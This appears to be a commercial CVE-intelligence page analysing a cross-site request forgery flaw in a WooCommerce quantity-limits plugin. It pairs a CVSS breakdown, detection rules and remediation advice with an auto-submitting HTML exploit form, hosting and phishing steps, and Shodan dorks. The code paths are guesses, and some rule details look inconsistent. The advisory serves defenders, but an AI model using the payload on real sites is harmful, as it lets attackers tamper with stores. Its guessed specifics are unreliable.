☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Wpfactory logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 4.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-49510

CVE-2025-49510 Cross-Site Request Forgery in Wpfactory
📅 PUBLISHED: 2025-06-10 13:15 UTC 🔄 UPDATED: 2026-08-21 19:23 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.08%
👁️
0.08% probability
2.1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1185
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 4.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: N Availability None
4.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-49510 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the WPFactory Min Max Step Quantity Limits Manager for WooCommerce plugin (slug: product-quantity-for-woocommerce). This vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as modifying quantity limit settings, without the victim’s consent. The flaw exists in all versions up to and including 5.1.0. No official patch has been released as of the time of analysis.

As this is a WordPress plugin vulnerability, it directly impacts the WordPress ecosystem. The attack vector relies on social engineering to trick a logged-in admin into clicking a malicious link or visiting a crafted page. The CVSS score of 4.3 (Medium) reflects the low complexity and network-based attack vector, but the requirement for user interaction reduces the severity.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is part of the WordPress plugin supply chain. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users who have installed the plugin from any source are at risk. No package manager (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

  • CVSS Score: 4.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
  • Attack Vector (AV): Network – The attack can be launched remotely.
  • Attack Complexity (AC): Low – No special conditions required.
  • Privileges Required (PR): None – The attacker does not need prior authentication.
  • User Interaction (UI): Required – The victim must click a link or visit a page.
  • Scope (S): Unchanged – The vulnerable component remains the same.
  • Confidentiality (C): None – No data exposure.
  • Integrity (I): Low – Attacker can modify plugin settings (e.g., quantity limits).
  • Availability (A): None – No denial of service.

Threat Level: Medium. While the impact is limited to integrity, the attack can be used to disrupt WooCommerce store operations (e.g., setting minimum quantities to unrealistic values).

Deep Dive & Mechanics

The vulnerability resides in the Min Max Step Quantity Limits Manager for WooCommerce plugin. The plugin does not implement CSRF tokens or nonces on its administrative actions (e.g., saving quantity limit rules). This allows an attacker to craft a malicious HTML page that, when visited by an authenticated admin, submits a forged request to the WordPress admin area.

Attack Flow:

  1. Attacker identifies a target WooCommerce site running the vulnerable plugin.
  2. Attacker crafts a CSRF payload (e.g., a hidden form or image tag) that targets the plugin’s settings endpoint.
  3. Attacker lures an authenticated admin to visit the malicious page (via phishing, forum posts, etc.).
  4. The victim’s browser automatically sends the forged request with the admin’s session cookies.
  5. The plugin processes the request, modifying quantity limits (e.g., setting minimum quantity to 1000 for all products).

Root Cause: Missing CSRF nonce validation in the plugin’s admin-facing AJAX or form handlers.

Vulnerable vs. Patched Code

Since no patch is available, we compare the vulnerable code pattern to a secure implementation.

Vulnerable Code (hypothetical example from plugin):

// In admin/settings.php
if ( isset( $_POST['save_limits'] ) ) {
    update_option( 'wc_min_max_limits', $_POST['limits'] );
    // No nonce check!
}

Patched Code (recommended fix):

// In admin/settings.php
if ( isset( $_POST['save_limits'] ) && wp_verify_nonce( $_POST['_wpnonce'], 'save_limits_action' ) ) {
    update_option( 'wc_min_max_limits', $_POST['limits'] );
} else {
    wp_die( 'CSRF validation failed.' );
}

The patched version adds wp_verify_nonce() to ensure the request originated from the legitimate admin interface.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • Target WordPress site with the vulnerable plugin installed and an admin logged in.
  • Ability to host a malicious HTML page or inject code into a trusted site (e.g., via XSS).

Exploit Payload (HTML):

<html>
<body>
<form action="https://target-site.com/wp-admin/admin-post.php" method="POST" id="csrf_form">
    <input type="hidden" name="action" value="save_limits" />
    <input type="hidden" name="limits[min_quantity]" value="1000" />
    <input type="hidden" name="limits[max_quantity]" value="1" />
</form>
<script>document.getElementById('csrf_form').submit();</script>
</body>
</html>

Steps:

  1. Host the above HTML on a server (e.g., attacker.com/exploit.html).
  2. Send a phishing email to the admin with a link to the page.
  3. Once the admin clicks, the form auto-submits, changing the quantity limits.

Blue Team (Defender)

Detection:

  • Monitor for unexpected changes to WooCommerce quantity limit settings.
  • Review server logs for POST requests to /wp-admin/admin-post.php with action=save_limits from unusual referrers.

Prevention:

  • Implement a Web Application Firewall (WAF) rule to block requests to admin endpoints without a valid nonce.
  • Educate administrators about phishing attacks.

Indicators of Compromise (IOCs)

  • Network:
    • POST requests to /wp-admin/admin-post.php with action=save_limits and no _wpnonce parameter.
    • Referrer headers from external domains (e.g., attacker.com).
  • Host:
    • Modified wp_options table entries for wc_min_max_limits.
    • Unexpected changes in WooCommerce product quantity settings.
  • Logs:
    • Repeated 200 responses to /wp-admin/admin-post.php from a single IP with no prior login.

Detection Engineering

YARA Rule

rule CVE_2025_49510_CSRF {
    meta:
        description = "Detects CSRF exploitation attempts against WPFactory Min Max Step Quantity Limits Manager"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-49510"
    strings:
        $action = "save_limits" nocase
        $admin_post = "admin-post.php" nocase
        $no_nonce = "limits[" nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-49510 CSRF Exploitation Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects POST requests to admin-post.php with action save_limits without nonce
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 'admin-post.php'
        cs-uri-query|contains: 'action=save_limits'
    filter:
        cs-uri-query|contains: '_wpnonce'
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions (if nonce is present)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-49510 CSRF Attempt"; flow:to_server; content:"POST"; http_method; content:"admin-post.php"; http_uri; content:"action=save_limits"; http_uri; pcre:"/^(?!.*_wpnonce).*$/Ui"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Implement a WAF rule to block POST requests to /wp-admin/admin-post.php that lack a _wpnonce parameter.
  3. Educate administrators to avoid clicking suspicious links while logged into WordPress.

Long-term Fix:

  • The vendor must add CSRF nonce validation to all admin-facing actions. Example fix:
    if ( isset( $_POST['save_limits'] ) && wp_verify_nonce( $_POST['_wpnonce'], 'save_limits_action' ) ) {
        // Process request
    }
    

Workaround:

  • Use a security plugin (e.g., Wordfence) that adds CSRF protection to all admin actions.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

wp-content/plugins/product-quantity-for-woocommerce/
inurl:/wp-content/plugins/product-quantity-for-woocommerce/

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-49510/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.